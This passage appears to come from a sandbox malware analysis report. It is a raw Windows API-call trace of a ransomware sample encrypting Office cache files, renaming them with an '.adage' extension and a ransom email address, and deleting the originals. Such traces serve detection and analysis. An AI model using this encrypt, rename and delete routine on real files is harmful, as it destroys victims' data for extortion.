lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x9b2, lpOverlapped=0x0) returned 1 [0051.657] CryptEncrypt (in: hKey=0x4d6310, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x9c0, dwBufLen=0x9c0 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x9c0) returned 1 [0051.657] WriteFile (in: hFile=0x184, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x9c0, lpOverlapped=0x0) returned 1 [0051.658] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d7600) returned 1 [0051.658] CryptSetKeyParam (hKey=0x4d7600, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0051.658] CryptEncrypt (in: hKey=0x4d7600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40, dwBufLen=0x40 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40) returned 1 [0051.658] CryptDestroyKey (hKey=0x4d7600) returned 1 [0051.659] WriteFile (in: hFile=0x184, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xf2, lpOverlapped=0x0) returned 1 [0051.659] CryptDestroyKey (hKey=0x4d6310) returned 1 [0051.659] CloseHandle (hObject=0x17c) returned 1 [0051.659] CloseHandle (hObject=0x184) returned 1 [0051.659] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\setup.xml")) returned 1 [0051.660] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xffffffff) returned 0x0 [0051.662] ResetEvent (hEvent=0x158) returned 1 [0051.662] SetEvent (hEvent=0x15c) returned 1 [0051.662] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0051.662] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0051.674] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1661) returned 1 [0051.674] CloseHandle (hObject=0x184) returned 1 [0051.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\powerpointmui.xml")) returned 0x2020 [0051.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\PowerPointMUI.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\powerpointmui.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0051.675] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0051.675] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0051.675] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0051.675] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\PowerPointMUI.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\powerpointmui.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0051.675] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d6310) returned 1 [0051.675] CryptSetKeyParam (hKey=0x4d6310, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0051.675] ReadFile (in: hFile=0x184, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x67d, lpOverlapped=0x0) returned 1 [0051.677] CryptEncrypt (in: hKey=0x4d6310, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x680, dwBufLen=0x680 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x680) returned 1 [0051.677] WriteFile (in: hFile=0x17c, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x680, lpOverlapped=0x0) returned 1 [0051.678] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d7600) returned 1 [0051.678] CryptSetKeyParam (hKey=0x4d7600, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0051.678] CryptEncrypt (in: hKey=0x4d7600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x50, dwBufLen=0x50 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x50) returned 1 [0051.678] CryptDestroyKey (hKey=0x4d7600) returned 1 [0051.678] WriteFile (in: hFile=0x17c, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x102, lpOverlapped=0x0) returned 1 [0051.678] CryptDestroyKey (hKey=0x4d6310) returned 1 [0051.678] CloseHandle (hObject=0x184) returned 1 [0051.678] CloseHandle (hObject=0x17c) returned 1 [0051.680] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\powerpointmui.xml")) returned 1 [0051.681] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xffffffff) returned 0x0 [0051.681] ResetEvent (hEvent=0x158) returned 1 [0051.681] SetEvent (hEvent=0x15c) returned 1 [0051.681] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0051.681] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0051.682] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2072) returned 1 [0051.682] CloseHandle (hObject=0x17c) returned 1 [0051.682] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0051.682] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0051.682] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0051.682] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0051.682] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0051.682] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0051.683] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d6310) returned 1 [0051.683] CryptSetKeyParam (hKey=0x4d6310, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0051.683] ReadFile (in: hFile=0x17c, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x818, lpOverlapped=0x0) returned 1 [0051.684] CryptEncrypt (in: hKey=0x4d6310, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x820, dwBufLen=0x820 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x820) returned 1 [0051.684] WriteFile (in: hFile=0x184, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x820, lpOverlapped=0x0) returned 1 [0051.685] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d7600) returned 1 [0051.685] CryptSetKeyParam (hKey=0x4d7600, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0051.685] CryptEncrypt (in: hKey=0x4d7600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40, dwBufLen=0x40 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40) returned 1 [0051.685] CryptDestroyKey (hKey=0x4d7600) returned 1 [0051.685] WriteFile (in: hFile=0x184, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xf2, lpOverlapped=0x0) returned 1 [0051.685] CryptDestroyKey (hKey=0x4d6310) returned 1 [0051.685] CloseHandle (hObject=0x17c) returned 1 [0051.685] CloseHandle (hObject=0x184) returned 1 [0051.687] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\setup.xml")) returned 1 [0051.688] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xffffffff) returned 0x0 [0051.689] ResetEvent (hEvent=0x158) returned 1 [0051.689] SetEvent (hEvent=0x15c) returned 1 [0051.689] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0051.689] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0051.690] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1662) returned 1 [0051.690] CloseHandle (hObject=0x184) returned 1 [0051.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\publishermui.xml")) returned 0x2020 [0051.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\PublisherMUI.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\publishermui.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0051.690] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0051.690] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0051.690] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0051.690] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\PublisherMUI.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\publishermui.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0051.691] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d6310) returned 1 [0051.691] CryptSetKeyParam (hKey=0x4d6310, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0051.691] ReadFile (in: hFile=0x184, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x67e, lpOverlapped=0x0) returned 1 [0051.692] CryptEncrypt (in: hKey=0x4d6310, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x680, dwBufLen=0x680 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x680) returned 1 [0051.692] WriteFile (in: hFile=0x17c, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x680, lpOverlapped=0x0) returned 1 [0051.693] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d7600) returned 1 [0051.693] CryptSetKeyParam (hKey=0x4d7600, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0051.693] CryptEncrypt (in: hKey=0x4d7600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x50, dwBufLen=0x50 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x50) returned 1 [0051.693] CryptDestroyKey (hKey=0x4d7600) returned 1 [0051.693] WriteFile (in: hFile=0x17c, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x102, lpOverlapped=0x0) returned 1 [0051.693] CryptDestroyKey (hKey=0x4d6310) returned 1 [0051.693] CloseHandle (hObject=0x184) returned 1 [0051.693] CloseHandle (hObject=0x17c) returned 1 [0051.695] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\publishermui.xml")) returned 1 [0051.696] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xffffffff) returned 0x0 [0051.696] ResetEvent (hEvent=0x158) returned 1 [0051.696] SetEvent (hEvent=0x15c) returned 1 [0051.696] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0051.696] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0051.698] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1795) returned 1 [0051.698] CloseHandle (hObject=0x17c) returned 1 [0051.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0051.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0051.698] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0051.698] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0051.698] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0051.698] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0051.699] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d6310) returned 1 [0051.699] CryptSetKeyParam (hKey=0x4d6310, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0051.699] ReadFile (in: hFile=0x17c, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x703, lpOverlapped=0x0) returned 1 [0051.700] CryptEncrypt (in: hKey=0x4d6310, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x710, dwBufLen=0x710 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x710) returned 1 [0051.700] WriteFile (in: hFile=0x184, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x710, lpOverlapped=0x0) returned 1 [0051.701] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d52c8) returned 1 [0051.701] CryptSetKeyParam (hKey=0x4d52c8, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0051.701] CryptEncrypt (in: hKey=0x4d52c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40, dwBufLen=0x40 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40) returned 1 [0051.701] CryptDestroyKey (hKey=0x4d52c8) returned 1 [0051.701] WriteFile (in: hFile=0x184, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xf2, lpOverlapped=0x0) returned 1 [0051.701] CryptDestroyKey (hKey=0x4d6310) returned 1 [0051.702] CloseHandle (hObject=0x17c) returned 1 [0051.702] CloseHandle (hObject=0x184) returned 1 [0051.703] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\setup.xml")) returned 1 [0051.704] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xffffffff) returned 0x0 [0051.993] ResetEvent (hEvent=0x158) returned 1 [0051.993] SetEvent (hEvent=0x15c) returned 1 [0051.993] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0051.993] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0052.017] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3870) returned 1 [0052.018] CloseHandle (hObject=0x17c) returned 1 [0052.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0052.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0052.018] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0052.018] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0052.018] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0052.018] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0052.018] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d5230) returned 1 [0052.018] CryptSetKeyParam (hKey=0x4d5230, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0052.018] ReadFile (in: hFile=0x17c, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0xf1e, lpOverlapped=0x0) returned 1 [0052.020] CryptEncrypt (in: hKey=0x4d5230, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0xf20, dwBufLen=0xf20 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0xf20) returned 1 [0052.020] WriteFile (in: hFile=0x178, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xf20, lpOverlapped=0x0) returned 1 [0052.021] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d6310) returned 1 [0052.021] CryptSetKeyParam (hKey=0x4d6310, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0052.021] CryptEncrypt (in: hKey=0x4d6310, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40, dwBufLen=0x40 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40) returned 1 [0052.021] CryptDestroyKey (hKey=0x4d6310) returned 1 [0052.021] WriteFile (in: hFile=0x178, 